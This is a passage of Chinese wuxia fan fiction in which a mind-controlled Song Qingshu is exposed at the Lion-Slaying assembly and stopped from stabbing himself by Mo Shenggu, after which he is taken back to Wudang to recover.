“别过来!”宋青书猛地抬头,那双原本空洞茫然的眼眸,此刻布满了血丝,充斥着极度的痛苦、混乱、以及一丝渐渐聚拢、却因痛苦而扭曲的……惊骇与难以置信。他脸上的假须在方才的挣扎中已然松动脱落了大半,露出了下面那张虽然苍白憔悴、却依旧能清晰辨认出的、属于宋青书的清俊面容! “青书!”武当席上,宋远桥、俞莲舟、莫声谷同时失声惊呼!宋远桥更是猛地向前冲了几步,又被俞莲舟死死拉住。 全场哗然! “真是宋青书!” “武当宋大侠的公子!” “他怎么会成了峨眉掌门的丈夫?还这般模样?” “看他样子,像是受了极大的痛苦和控制!” 无数道震惊、疑惑、了然、鄙夷、探究的目光,如同利箭,射向擂台上的宋青书,也射向峨眉席上面色终于彻底阴沉下来的周芷若。 殷梨亭看着眼前抱头嘶吼、痛苦不堪的师侄,心如刀割,又是自责又是焦急:“青书!是我!我是六叔啊!你看看我!你到底怎么了?是不是周芷若对你做了什么?” “六……叔?”宋青书喘息着,血红的眼睛艰难地聚焦在殷梨亭脸上。这个称呼……好熟悉……伴随着这个称呼涌上的,是温暖的笑意,耐心的指点,还有……还有某种深切的关怀。记忆的碎片还在冲撞,让他分不清今夕何夕,但那熟悉的、属于“六叔”的感觉,却如同黑暗中的一点微光,让他混乱痛苦的心神下意识地想要靠近。 他伸出一只手,颤抖着,似乎想抓住殷梨亭。 就在这时,峨眉席上,周芷若冰冷的声音如同毒蛇吐信,骤然响起,压过了全场的喧哗: “殷六侠,你对我夫君做了什么?他旧伤未愈,神志时有不稳,你为何要用这等诡异手段刺激于他?莫非武当派见我夫君助我峨眉,便要不择手段,加害于他,以挽回方才连败两场的颜面吗?” 她站起身,衣裙无风自动,一股阴冷的气势弥漫开来,目光锐利如刀,直刺殷梨亭和整个武当派! 恶人先告状!倒打一耙! 殷梨亭气得浑身发抖,指着周芷若:“你……你血口喷人!青书分明是我武当弟子,是你用邪法控制了他!你看他现在的样子!” “控制?”周芷若冷笑,眼中却适时泛起一丝泪光,显得凄楚而愤怒,“我与他患难夫妻,情深义重,何来控制?倒是你们武当,先是宋大侠上台便要下重手,接着俞二侠久战不下,如今你殷六侠又用这等慢吞吞的邪门法子,引得我夫君旧伤复发,痛苦不堪!天下英雄在此,还请诸位评评理!武当便是这般仗势欺人、迫害晚辈的吗?” 她言辞犀利,姿态柔弱中带着刚强,瞬间又将水搅浑。不少不明真相、或对武当本就有些微词的人,看向武当众人的目光顿时又变得狐疑起来。 擂台之上,宋青书在周芷若声音响起的瞬间,身体又是一僵。那声音……冰冷,带着命令的意味,仿佛一道枷锁,猛地收紧,与他脑海中某个模糊却令人恐惧的影像重合——阴暗的石室,冰冷的指尖,强制灌输的阴寒气劲…… “夫……人?”他下意识地喃喃,转头看向周芷若,眼神中的痛苦被一层熟悉的、被训练出的顺从与茫然迅速覆盖,虽然那之下仍有剧烈的挣扎。 殷梨亭看到宋青书这瞬间的转变,更是痛心疾首:“青书!你醒醒!你看看我们!我是你六叔!那是你爹!那是你二叔、七叔!你叫周芷若什么?她不是你的夫人!她是害你的人!” 宋青书看看殷梨亭,又看看武当席上激动万分的宋远桥等人,再看看面罩寒霜、眼神幽冷的周芷若。两股截然不同的力量——一股来自血脉深处被唤醒的熟悉与牵绊,混杂着剧痛与混乱的记忆碎片;另一股来自数月来被反复强化、烙印在行为模式中的“服从”与对某种无形控制的恐惧——在他脑海中疯狂拉锯。 他头痛欲裂,眼前阵阵发黑,喉头腥甜不断上涌。 “我……我……”他张了张嘴,却什么也说不出来,最终只是发出一声痛苦至极的呻吟,身体一软,竟在众目睽睽之下,向后倒去,昏厥过去。 “青书!” “夫君!” 几声惊呼同时响起。殷梨亭抢上前一把扶住瘫软的宋青书。周芷若也身形一动,似乎想上台,却被身旁的静玄师太轻轻拦了一下,低声道:“掌门,此刻上台,恐再生事端。” 周芷若脚步一顿,看着被殷梨亭扶住的、昏迷不醒的宋青书,又看了看全场聚焦于此的视线,尤其是武当众人那几乎要喷火的目光和明教张无忌等人凝重审视的眼神,她心念电转,知道今日之事已难善了,宋青书的身份彻底暴露,自己的算计也大半落空。 她深吸一口气,强行压下心中的怒意与不甘,脸上重新覆上那层冰冷的面具,朗声道:“武当诸位!我夫君重伤昏迷,急需救治!今日之事,暂且记下!待我夫君无恙,我峨眉定要向武当讨个说法!” 说罢,她不再看众人反应,对身后弟子冷声道:“我们走!”竟是要就此离开屠狮大会。 武当众人岂能让她带走昏迷的宋青书?宋远桥、俞莲舟、莫声谷几乎同时便要抢出。 场面一时剑拔弩张,混乱一触即发! 就在此时,一个温和却带着不容置疑威仪的声音响起,压下了所有的嘈杂: “且慢。” 周芷若那句“暂且记下”还带着冰冷的余音在空中飘荡,她转身欲走,峨眉弟子也齐齐起身,气势逼人,俨然要以退为进,强行带走昏迷的宋青书。 武当诸侠岂能容她?宋远桥目眦欲裂,俞莲舟面色沉凝如水,身形已动,便要拦阻。殷梨亭抱着昏迷的宋青书,又急又怒,更是寸步不让。 就在这千钧一发、眼看就要演变成两派直接冲突的关口,一道身影,比谁都快,也比谁都沉默,如同鬼魅般,倏然落在了擂台之上,正挡在峨眉众人与殷梨亭之间。 是莫声谷。 他不知何时已离开了武当席位,此刻就站在擂台上,背对着殷梨亭和昏迷的宋青书,面朝着峨眉方向,挡住了周芷若等人的去路。他没有说话,甚至没有看周芷若一眼,只是站在那里,如同一尊骤然降临的、沉默的煞神。他周身没有散发任何凌厉的气势,却有一股比寒冰更刺骨、比磐石更沉重的死寂弥漫开来,让周围喧闹的空气都为之一凝。 周芷若脚步顿住,秀眉微蹙,看着眼前这个面容冷硬、眼神却深得不见底的武当七侠。她感到了压力,一种不同于宋远桥的忧急、俞莲舟的沉稳、殷梨亭的愤怒的压力。 “莫七侠,这是何意?”周芷若声音依旧冰冷,却带上了一丝不易察觉的戒备。 莫声谷终于抬眼,目光掠过她,直接落在了她身后被殷梨亭扶着的、昏迷不醒的宋青书身上。那目光,有痛,有悔,有怒,更有一种近乎摧毁一切的决心。 他没有回答周芷若,而是缓缓转身,面向殷梨亭,伸出手,声音沙哑得像是砂石摩擦:“六哥,把他给我。” 殷梨亭一愣:“七弟,你……” “给我。”莫声谷重复,语气不容置疑,伸出的手稳如磐石,指尖却微微颤抖。 殷梨亭看着弟弟眼中那骇人的血丝和深不见底的黑暗,心中一颤,下意识地将怀中的宋青书小心地交了过去。莫声谷接过宋青书,动作异常轻柔,仿佛捧着易碎的琉璃,又像是搂住了失而复得的稀世珍宝,手臂却稳得没有一丝晃动。他将昏迷的宋青书横抱在怀中,低头看了一眼那张苍白憔悴、假须脱落大半后显露无疑的熟悉面容,喉结剧烈地滚动了一下,随即抬头,目光再次扫向全场。 “武当莫声谷,”他开口,声音不高,却奇异地压过了所有的嘈杂,清晰地传入每个人耳中,“请教峨眉派高招——与我怀中之人无关,我与他打。” 此言一出,全场愕然! 与怀中之人打?宋青书分明昏迷不醒,如何打? 但莫声谷的意思再明显不过——他要替宋青书打这场擂!或者说,他要以这种方式,强行将宋青书“留”在擂台上,留在武当的范围内,绝不让周芷若带走! 周芷若脸色一沉:“莫七侠,我夫君重伤昏迷,你……” “他不是你夫君。”莫声谷打断她,声音依旧沙哑,却斩钉截铁,“他是我师侄,宋青书。”他顿了顿,目光如冰锥般刺向周芷若,“至于他为何会变成如今这副模样,周掌门,你心知肚明。今日,要么你峨眉派另遣高手与我一战,要么,就等他醒来。” 他将宋青书轻轻放在擂台边缘干净处,脱下自己的外袍,仔细垫在他身下,动作细致得与他平日冷 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就在她权衡利弊、尚未决断之际,擂台上,被莫声谷安置好的宋青书,忽然发出了一声细微的呻吟,睫毛颤动,竟似有醒转的迹象! 原来他方才只是因记忆冲击和内息剧烈冲突而一时闭过气去,并未真正深度昏迷。此刻被放下,气息稍顺,加之周遭嘈杂与莫声谷那熟悉又陌生的气息刺激,竟悠悠转醒。 他缓缓睁开眼,视线先是模糊,随即渐渐清晰。映入眼帘的,是陌生的擂台地面,远处黑压压的人群,还有……身前不远处,一个背对着他、身形挺拔如松、却透着无尽孤冷与决绝的背影。 那是…… 一些混乱的碎片再次掠过脑海——模糊的……松涛,剑影,严厉却偶尔闪过一丝温和的侧脸…… 头痛依旧尖锐,但比方才那股要炸开的剧痛稍缓。他挣扎着,用手臂支撑起身体,坐了起来。莫声谷的外袍从他身上滑落。 这动静立刻吸引了所有人的注意。 “青书!” “夫君!” 几声呼喊同时响起。 宋青书茫然地抬头,循声望去。他看到了武当席位上激动万分的宋远桥、俞莲舟、殷梨亭,看到了峨眉席上面色变幻的周芷若,也看到了身边不远处,那个因听到动静而猛然回头的、熟悉又陌生的面容。 莫声谷回过头,看到宋青书醒来,眼中有惊喜,有担忧,有痛楚,他上前一步,却又硬生生顿住,只是紧紧盯着宋青书,像是要确认他是否真的清醒,是否……还记得什么。 宋青书与他对视。那双眼睛……很深,很沉,里面翻涌着他看不懂的情绪,却奇异地让他的心猛地一缩,带来一阵尖锐的刺痛和……恐惧?还有一丝说不清道不明的、想要逃避的战栗。 “你……”宋青书张了张嘴,声音干涩沙哑。 周芷若的声音适时响起,带着刻意放柔的焦急:“夫君!你醒了?快过来!武当的人不怀好意,莫要再被他们所伤!”她一边说,一边向擂台边缘靠近了几步,伸出手,做出迎接的姿态。 这声“夫君”如同一个开关,触动了宋青书被反复灌输的认知。他下意识地转头看向周芷若,眼中闪过一丝依赖和顺从的迷茫,身体也微微向她那边倾了倾。 “青书!”莫声谷的声音陡然拔高,带着一丝压抑不住的颤抖和命令,“你看清楚!她不是你夫人!你看看我!看看你爹!看看你二叔六叔!你是宋青书!武当宋青书!” 宋青书身体一僵,头又转了回来,看看莫声谷,又看看武当众人,再看看周芷若。两股力量再次在他脑海中拉扯。武当……宋青书……这些名字和眼前这些激动焦急的面容,似乎能勾起心底深处某些温暖的碎片,但伴随着这些碎片的,却是更深的混乱、头痛,以及周芷若那带着命令和冷意的目光所带来的无形压力。 “我……我不知道……”他痛苦地抱住了头,眼神再次陷入挣扎的漩涡。 莫声谷看着他这副模样,心如刀绞,那股压抑了数月的恐慌、自责、悔恨,还有那夜被逃避、被拒绝、乃至如今被彻底“遗忘”的痛楚与不甘,如同岩浆般轰然喷发! 他不再等待,也不再试图用言语唤醒。他猛地踏前一步,厉声道:“好!你不知道!那我便打到你记起来!” 话音未落,他已猱身而上,一掌拍向宋青书!这一掌,并非杀招,甚至未曾动用全力,却迅疾无比,直取宋青书肩井穴,意图制住他,将他带离这个让他混乱的境地! 宋青书虽记忆混乱,内息冲突,但身体残存的战斗本能和被周芷若强行灌输的些微招式反应仍在。见掌风袭来,他几乎是下意识地侧身避让,同时右手五指本能地一曲,带着一丝生硬却已初具雏形的阴狠劲道,反抓向莫声谷的手腕!正是那粗陋的九阴白骨爪起手式! 莫声谷变招极快,手腕一翻,化掌为指,点向宋青书手背穴道,轻易化解了这一抓,同时左掌如影随形,再次拍向宋青书胸口。 宋青书踉跄后退,招式越发混乱,时而夹杂一点武当身法的影子,时而又变成那别扭阴毒的爪功,完全不成章法,破绽百出。莫声谷的武功本就高出他甚多,此刻更是招招进逼,却又刻意控制着力道,仿佛在驱赶、在逼迫,要将宋青书逼入绝境,逼出他最深层的反应。 擂台上,只见莫声谷攻势如潮,宋青书左支右绌,险象环生。台下众人看得心惊肉跳,武当诸侠更是捏了一把汗,生怕莫声谷盛怒之下失手伤了青书,又盼着他真能“打醒”青书。 周芷若在台下,面色阴沉如水。她看出莫声谷的意图,也看出宋青书在莫声谷疾风骤雨般的逼迫下,那被强行压制的武当根基似乎有被进一步激发的迹象。不能再等了! 她嘴唇微动,一丝细若蚊蚋、却带着奇异韵律的声音,悄然钻入宋青书耳中。这是她这些日子暗中练习的、结合了九阴真经中迷魂摄心法门的浅显音功,旨在关键时刻加强控制。 宋青书身体猛地一颤,眼中那挣扎的迷茫瞬间被一层更深的空洞和一丝突然涌现的、针对莫声谷的凌厉杀意所取代!他喉咙里发出一声低吼,原本杂乱无章的招式忽然变得连贯了几分,五指弯曲如钩,带着嗤嗤破空之声,不再闪避莫声谷的掌力,反而以攻对攻,招招直取莫声谷咽喉、面门、心口等要害!那爪风之中,阴寒之意大盛,竟隐隐有了几分九阴白骨爪真正的狠毒气象! 莫声谷瞳孔微缩!他清晰地感受到了宋青书招式前后的突兀变化,更感受到了那爪风中骤然增强的阴毒内劲和……杀意!青书竟真的对他起了杀心!是被控制的杀心! 这个认知,比任何攻击都更残忍地击中了他。 痛,深入骨髓的痛,混合着无尽的悲凉与绝望,瞬间席卷了他。 他不再闪避了。 他愿意死在心爱之人的手下,就像是程大夫的无悔等待一样。 当宋青书又是一爪,带着尖啸的阴风,狠狠抓向他心口时,莫声谷竟然不闪不避,甚至微微挺起了胸膛!他的目光,死死锁住宋青书那双被空洞和杀意占据的眼睛,仿佛要透过这层迷雾,看到后面那个真正的、他熟悉的青书。 “青书。”他唤了一声,声音很轻,却带着万钧之力,砸在两人之间的空气里。 宋青书的爪,在触及莫声谷胸前衣襟的刹那,几不可察地滞了一下。那声呼唤,像是投入死水潭的石子,激起了微不可查的涟漪。 莫声谷看到了这细微的停滞,眼中陡然爆发出炽热的光!他不退反进,迎着那锋利的爪尖,又踏前半步,两人的距离近在咫尺。 “你看清楚,”莫声谷的声音低沉而急促,带着一种豁出一切的决绝,“是我。你的七叔。” 宋青书的手颤抖起来,指尖的阴寒气劲明灭不定。他眼中的杀意与空洞激烈地交战,脑海深处,那雨夜的画面、声音、触感,还有更久远的一些模糊的、温暖的、属于“七叔”的片段,如同被投入滚油的冰块,噼啪炸响,疯狂翻涌! “不能……”他嘴唇翕动,发出一声破碎的音节,“不能杀……七叔……” 莫声谷浑身剧震!他听到了! 然而,周芷若那无形的音功控制仍在持续,如同毒蛇缠绕。宋青书眼中的挣扎瞬间又被更浓重的血色和混乱取代,他猛地摇头,发出一声痛苦的嘶吼:“我杀了七叔!我杀了七叔!” 这嘶吼充满了绝望和自我毁灭的意味!仿佛那个被掩盖的、属于前世的罪孽,在这一刻与眼前的“七叔”重叠,化作了最恐怖的梦魇,将他彻底吞噬! 在莫声谷因他那句“不能杀七叔”而心神激荡、防线出现一丝空隙的刹那,宋青书眼中最后一点清明被混乱和癫狂淹没,那蓄势待发的、灌注了混乱内劲的一爪,以更快更狠的速度,再次抓向莫声谷的心口!这一次,再无丝毫迟疑! 莫声谷看着那直取自己性命的一爪,眼中竟闪过一丝解脱般的平静,甚至……是一丝极淡的、扭曲的温柔。他没有动,仿佛在等待这迟来的、命运般的终结。 “七弟!” “青书!” 台下,宋远桥、俞莲舟、殷梨亭目眦欲裂,狂吼出声! 千钧一发! 就在宋青书的指尖即将洞穿莫声谷胸膛衣襟、触及皮肉的瞬间,他那只凶狠前抓的手,却如同被无形的铁钳死死箍住,硬生生停在了半空!剧烈地颤抖着,进不得,退不能! 宋青书脸上的表情扭曲到了极致,痛苦、疯狂、恐惧、挣扎、还有一丝骤然惊醒般的骇然,交织在一起。他猛地松开爪势,双手抱住了自己的头颅,指甲深深抠进头皮,仿佛要将里面撕裂的东西挖出来,发出一连串语无伦次、却让全场所有人瞬间汗毛倒竖的凄厉嘶喊: “不能!不能杀七叔!” “我杀了七叔……我杀了……” “我又杀了七叔!啊啊啊啊——!” 这嘶喊,不似人声,充满了穿越生死、浸透灵魂的绝望与自我诅咒!尤其是那一声“又”,如同惊雷,炸响在每一个人心头!什么叫“又”?! 未及细想,更骇人的一幕发生了! 抱头嘶吼的宋青书,似乎被那无尽的罪孽感和自我毁灭的冲动彻底淹没。他猛地放下手,眼神涣散而疯狂,右手以快得不可思议的速度,猛地探向自己的靴筒! 寒光一闪! 一柄尺许长、刃口泛着幽蓝光泽的锋利匕首,赫然被他握在手中!没有丝毫犹豫,他双手握住匕首柄,将全身的力气、所有的痛苦、绝望、混乱,都灌注于这一刺,狠狠地、决绝地、朝着自己的心口猛刺下去! 他要以死谢罪!以死结束这无尽的轮回梦魇! “青书!!!” 莫声谷魂飞魄散!那匕首的寒光映亮了他瞬间惨白如死的脸!什么都被抛到九霄云外!他脑子里只有一个念头——阻止他!不惜一切代价阻止他! 距离太近,变故太快!莫声谷根本来不及施展任何精妙招式去夺刃或格挡!生死关头,他完全是凭着本能,电光石火间,右掌五指并拢,以血肉之躯,带着毕生修为凝聚的十成劲力,不偏不倚,精准无比地、狠狠地朝着那急速刺落的匕首刃身侧面捏去! “锃——!” 一声令人牙酸的金铁摩擦与骨骼挤压的混合巨响! 莫声谷的手,结结实实地捏住了匕首的刃身!幽蓝的刃口瞬间割破了他的皮肉,深深嵌入指骨!鲜血如同泉涌,瞬间染红了匕首和他的手掌!但他那凝聚了武当纯阳无极功巅峰劲力的五指,如同铁钳,硬生生将匕首下刺的势头阻住了大半! 匕首尖,已然刺破了宋青书胸前的衣襟,甚至划破了一点皮肉,渗出血珠,但终究未能深入心脏! 巨大的冲击力让两人同时一晃。宋青书双手握着匕首柄,仍在疯狂地向下用力,眼中只有一片毁灭的灰败。莫声谷单手捏刃,五指几乎要被切断,剧痛钻心,却死死不肯松劲,额头上青筋暴起,冷汗涔涔,目眦尽裂地瞪着宋青书,从喉咙里挤出血沫般的声音:“……松……手!” 这一切,都发生在兔起鹘落之间!从宋青书拔刀自戕,到莫声谷徒手夺刃,不过呼吸之瞬! 台下,惊呼声如同海啸般炸开! 俞莲舟在宋青书抱头嘶喊“又”字时,已然察觉不妙,身形如离弦之箭激射而出!他是除莫声谷外距离最近、反应也最快之人!眼见莫声谷徒手阻刃,险之又险,他心知必须立刻制住彻底失控的宋青书,否则两人僵持,稍有差池,便是同归于尽的结局! 他没有任何犹豫,身形如鬼魅般欺近,并指如剑,运足内力,以武当绝顶的轻身功夫和精准手法,朝着宋青书后颈昏睡穴疾劈而去!这一下,快!准!狠!力求一击奏效,让宋青书立刻失去行动能力! 几乎是同一时刻,另一道青影如烟如雾,以几乎不逊于俞莲舟的速度从明教席位方向掠来!是青翼蝠王韦一笑!他轻功独步天下,虽起步略晚于俞莲舟,速度却丝毫不慢,后发而几乎同至!他也看出关键在制住宋青书,一双鬼爪悄无声息地探出,直取宋青书握刀的双手手腕!旨在迫其松手! 更远处,张无忌脸色剧变,不假思索,右手在袖中一探一弹,一枚灌注了精纯九阳内力的石子,带着尖锐的破空声,直射宋青书握着匕首的右手手背!他距离较远,暗器虽快,终需时间。 周芷若同样花容失色!宋青书若此刻死在这里,她一切算计落空不说,更要面临武当不死不休的追究!她玉腕一抖,袖中一枚淬过毒的细针疾射而出,目标同样是宋青书握刀的手!她想事到如今,即便阻止,也要留下后手。 然而,就在俞莲舟的手刀即将劈中宋青书后颈、韦一笑的鬼爪即将扣住其手腕、张无忌的石子和周芷若的毒针也已破空而至的刹那—— 一枚灰扑扑、毫不起眼的石子,不知从哪个刁钻角度,以更诡异、更迅疾的速度后发先至!它没有袭向匕首,也没有袭向宋青书的手腕,而是精准无比地、带着一股巧劲,“啪”一声,击打在宋青书紧握匕首的右手手背“阳池穴”上! 这一击,力道拿捏得妙到巅毫!既未伤及骨骼,却又恰好足以让宋青书因剧痛和穴位酸麻,手指瞬间失去力道! “呃!”宋青书吃痛,闷哼一声,本就因莫声谷死死捏住刃身而受阻的下刺之力骤然一松,五指不由自主地张开! “铛啷!” 那柄染着莫声谷鲜血的幽蓝匕首,终于脱手落下,掉在擂台木板上,发出清脆的响声。 几乎就在匕首落地的同一瞬间—— 俞莲舟蓄势已久的掌缘,也精准无比地劈中了宋青书的后颈! “咚”一声轻响,宋青书身体一僵,眼中疯狂与痛苦的神色骤然凝固,随即涣散开来,整个人如同被抽去脊骨般,软软地向后倒去。 韦一笑的鬼爪堪堪抓了个空,只触及宋青书飘起的衣角。他身形一顿,看向那枚落地的匕首和昏迷的宋青书,又迅速扫视全场,试图找出那枚来历不明石子的出处,却一无所获。 张无忌的石子和周芷若的毒针,此刻才姗姗来迟,“夺夺”两声,钉在了宋青书方才所站位置后方的擂台木柱上,入木三分!张无忌的石子劲力刚猛,木屑纷飞;周芷若的毒针细若牛毛,泛着幽绿,令人心悸。 场面,在这一刻,诡异地静止了。 擂台上,莫声谷依旧保持着捏住匕首刃身的姿势,鲜血顺着他的手指、手腕,滴滴答答落在木板上,汇成一小滩刺目的红。 他仿佛感觉不到疼痛,只是死死盯着软倒在地、昏迷不醒的宋青书,胸膛剧烈起伏,脸色惨白如纸,嘴唇翕动着,却发不出任何声音。 俞莲舟劈晕宋青书后,立刻俯身探查他的脉搏和气息,确认只是昏迷,并无性命之虞,那匕首仅仅划破表皮,这才长长松了口气,但眉头依旧紧锁,看向宋青书的目光充满了深沉的忧虑。 韦一笑站在一旁,警惕地环视四周,尤其多看了周芷若和张无忌那边一眼。 台下,数千江湖豪客鸦雀无声,所有人都被这电光石火间发生的一系列变故惊呆了。徒手夺刃、飞石击穴、掌劈后颈……还有那两声令人毛骨悚然的“杀了七叔”和“又杀了七叔”,以及那最后来路不明、却一击奏效的神秘石子……信息量太大,冲击太强,让所有人都需要时间消化。 宋远桥在宋青书拔刀自戕时,已然眼前一黑,几乎晕厥,被身旁弟子死死扶住。此刻见青书被制住,匕首落地,虽昏迷却无大碍,这才一口气缓过来,却是老泪纵横,浑身脱力,几乎站不稳。 殷梨亭更是吓得魂不附体,此刻才反应过来,就要冲上台去。 周芷若站在峨眉席位前,脸色阴沉得几乎要滴出水来。她死死盯着台上昏迷的宋青书,又看了看莫声谷那鲜血淋漓却依旧不肯松开匕首刃身的手,再想到那枚坏了她好事、来历不明的石子,心中惊怒交加,更有一种事情彻底脱离掌控的不祥预感。 她知道,今日之事,已无法善了。宋青书的身份彻底暴露,失控自戕,武当绝不会再让她带走人。那枚石子……是谁?难道除了武当明教,还有第三方势力在暗中关注,甚至插手? 张无忌收回手,眉头紧锁,目光在昏迷的宋青书、受伤的莫声谷、面色阴沉的周芷若,以及那枚钉在柱子上的毒针之间来回扫视。 他自然也注意到了那枚神秘的灰石子,心中疑窦丛生。 青书师兄身上,到底发生了什么?周芷若究竟对他做了什么,竟让他癫狂至此,甚至要自杀谢罪?那句“又杀了七叔”……究竟是何意? 全场寂静中,只有山风吹过旗帜的猎猎声,以及莫声谷鲜血滴落的细微声响。 最终,还是俞莲舟打破了沉默。他先小心地点了宋青书几处大穴,稳住其内息,防止他醒来后再发狂。然后,他走到莫声谷身边,看着弟弟那几乎被匕首刃口切断的手指和淋漓的鲜血,眼中痛色一闪,沉声道:“七弟,松手。青书没事了,只是昏过去了。” 莫声谷仿佛没听见,依旧死死捏着那匕首,目光钉在宋青书脸上。 俞莲舟叹了口气,伸手握住莫声谷的手腕,缓缓灌注一股柔和内力,助他放松紧绷的肌肉和几乎僵死的指关节。“松手,七弟。你的手要紧。青书……需要你。” 听到“青书需要你”几个字,莫声谷浑身一震,眼中那凝固的绝望才有了一丝松动。他缓缓地、极其艰难地,一根手指一根手指地松开了那嵌入手骨的匕首刃身。 “当啷。”匕首再次落地,沾满了他的鲜血。 俞莲舟立刻撕下自己的一片衣襟,迅速而熟练地为莫声谷包扎伤口,但那深可见骨的伤口,鲜血仍在不断渗出。 莫声谷却浑然不觉,他的目光,自始至终,都没有离开过地上昏迷的宋青书。那眼神,像是看着失而复得的至宝,又像是看着一个破碎的、不知该如何修补的美梦。 俞莲舟包扎完毕,站起身,面向全场,尤其是峨眉方向,朗声道:“诸位英雄!今日之事,大家有目共睹!我武当弟子宋青书,遭人暗算,神志受控,行为癫狂,险些酿成大祸!幸得各方出手,暂且制止。青书伤势蹊跷,神志不清,需立刻带回武当救治查探!至于其中缘由因果,”他目光如电,直射周芷若,“我武当一定会查个水落石出!” 他这番话,掷地有声,既说明了情况,也表明了态度——人,武当一定要带走;账,以后慢慢算! 周芷若脸色铁青,知道此刻再要强留宋青书已不可能,反而会激起公愤。她冷哼一声,拂袖道:“好!我倒要看看,武当如何交代我夫君之事!我们走!”说罢,竟不再停留,带着峨眉弟子,迅速离开了这是非之地。那枚钉在柱子上的毒针,她也无暇收回。 一场风波,暂时以宋青书昏迷、武当将其带走而告一段落。 而此刻,莫声谷终于弯下腰,用那只未曾受伤的左手,极其轻柔地,将昏迷不醒的宋青书重新抱了起来。他抱着他,一步一步,走下擂台,走向武当的席位。鲜血,依旧从他包扎好的右手渗出,滴落在他走过的路上,也滴落在宋青书苍白的脸上,宛如某种残酷而执着的印记。 70. 薄暮轻阴笼远山 武当山到底与别处不同。时值暮夏,山下已有凋零之意,山道上却仍是松柏苍苍,清气袭人。只是这清气拂在人脸上,也是凉的。 宋青书倚在软轿里,轿帘未曾放下,他怔怔望着外面飞速倒退的石阶、古树、偶尔掠过的一角飞檐。景物熟悉得刻骨,每一样都能牵扯出无数前尘往事,好的、坏的、无忧无虑的、追悔莫及的……如今一股脑涌上来,堵在胸口,沉甸甸地压着,连呼吸都觉得费力。他脸色苍白得近乎透明,嘴唇也没什么血色,唯有眼底一片浓重的青黑,是连日疾驰兼之心力交瘁的痕迹。 抬轿的弟子脚步既快且稳,走在陡峭的山道上如履平地。宋远桥、俞莲舟等人随在轿旁,皆是风尘仆仆,眉宇间锁着深深的疲惫与忧虑,目光时不时落在轿中长子或师侄身上,欲言又止。这一路,他们走得极快,几乎未曾好好歇息,气氛也沉闷得可怕。宋青书大部分时间都在昏睡,醒来时也只是看着虚空,不与任何人交谈。 山门在望,晨钟正好响起,悠长沉浑的声浪涤荡过层层峰峦,也撞在宋青书心口。他几不可察地颤了一下,闭上了眼睛。 轿子并未在正殿停留,径直抬往后山,张三丰清修的小院。 院内古松下,须发如银的老人早已等候在那里,一身旧道袍洗得发白,山风拂动他的衣袂,颇有飘然出尘之态。只是此刻,那张惯常温煦含笑的面容上,凝着一层沉静的肃穆。目光落到轿中宋青书身上时,那肃穆之下,是无法错认的痛惜。 “师父。”宋远桥等人上前行礼,声音干涩。总是劳烦师父他老人家,宋远桥但愿青书以后少点灾难。 张三丰微微颔首,缓步走到轿前。宋青书似有所觉,睫羽颤动,挣扎着想坐起来行礼,却被一只温暖干燥的手轻轻按住了肩头。 “躺着,勿动。”老人的声音平稳,听不出太多情绪,却奇异地有种安抚的力量。 三根手指搭上宋青书腕间脉搏。院内霎时寂静,只闻松涛阵阵。张三丰垂着眼,片刻后,眉头几不可察地蹙了一下,那蹙痕极浅,却仿佛带着千钧重量。诊脉的时间并不太长,他收回手,又仔细看了看宋青书的气色,尤其是那双黯淡无神的眼睛。 “内力虚浮紊乱,肺腑为阴寒邪气所伤。”张三丰缓缓开口,每一个字都说得清晰,“更兼心神耗竭,郁结深重。外伤倒是其次,这心疾……需得徐徐图之,急不得。” 他顿了顿,目光扫过宋远桥等人焦灼的脸,最终落回宋青书面上,那痛惜之色更深了些,语气却依旧平和:“带回他房中静养吧。远桥,取我丹房左侧第三个青玉瓶里的‘培元守心丹’,每日早晚温水送服一粒。莲舟,去备些安神定志的汤药,方子你知晓。” “是,师父。”宋远桥与俞莲舟连忙应下。 “青书,”张三丰稍稍俯身,看着宋青书,“回家了,便好好歇着。万事,有太师父在。” 宋青书喉头剧烈地滚动了一下,睁开眼,望向那张慈和依旧的面容,眼圈瞬间红了,嘴唇翕动,却终究没能发出声音,只极轻微地点了点头,又飞快地闭上了眼,像是承受不住那目光中的重量。 回到昔日居住的院落,一切陈设如旧,纤尘不染,显然是日日有人打扫。躺在熟悉的床榻上,鼻端萦绕着干净的被褥气息和淡淡的、武当山特有的草木清气,宋青书紧绷了不知多久的心神,终于支撑不住,彻底陷入了昏睡。 这一睡,便是一天一夜。 再醒来时,已是次日黄昏。夕阳的余晖透过窗棂,在床前投下暖黄的光斑,空气中飘着淡淡的药香。宋远桥、俞莲舟、俞岱岩、张松溪、殷梨亭都在,张三丰也坐在床边的椅子上。见他醒来,几人都围拢过来,神色关切。 “青书,觉得如何?”宋远桥问,声音放得极轻。 宋青书挣扎着想坐起,被俞莲舟按住。“躺着说话就好。” 他目光缓缓扫过床前一张张熟悉的脸,太师父的平静,父亲的担忧,二叔的严肃,三叔的忧心,四叔的沉稳,六叔的温和……每一道目光都像针,刺得他无所遁形。积蓄了太久的惶惑、恐惧、羞愧,还有那一点点微弱的、连自己都不敢承认的“终于回家了”的松懈,混杂在一起,冲垮了心防。 他闭了闭眼,再睁开时,泪水已无声滚落。 “太师父……爹,各位师叔……”声音嘶哑得厉害,“我……” 接下来,他断断续续,将如何遇到周芷若,得她“庇护”,与她成了夫妻……诸般情由,除了最关键的那一处,他都说了出来。 张三丰静静听着,脸上并无太多惊怒,只有深沉的叹息。宋远桥面如死灰,身形晃了晃,被张松溪扶住。俞莲舟脸色铁青,拳头握紧又松开。殷梨亭眼中尽是复杂难言的神色,似悲似叹。 “从今往后,不必再对峨眉派另眼相待了。”张三丰说道,他本来念着当年与郭襄的旧情,一直看顾着峨眉派。 宋远桥等弟子都称是。 俞莲舟沉声问:“青书,那日在少林屠狮大会上,你曾言……曾言‘又杀了七叔’,此言何意?你七叔他……究竟如何?” 此言一出,所有目光都骤然聚焦在宋青书脸上。 宋青书浑身剧烈一颤,他脸上的血色瞬间褪得干干净净,连嘴唇都变成了灰白色。他猛地低下头,避开所有人的视线,身体无法控制地微微发抖,牙齿紧紧咬住下唇,几乎要咬出血来。那是一种极致的恐惧与抗拒。 “我……我……”他发出几个含糊的音节,却无论如何也接不下去。关于莫声谷的一切,那荒野的夜晚,冰凉的剑锋,喷涌的鲜血,七叔倒下时那双难以置信的眼……还有自己那肮脏卑鄙的动机与随后无穷无尽的悔恨啃噬,都成了烙在灵魂最深处的毒刺,碰一下便是锥心蚀骨的痛。他怎能说?如何敢说? “青书?”宋远桥见他如此,心中疑窦更深,却也更加不安,“你说实话,你七叔到底……” 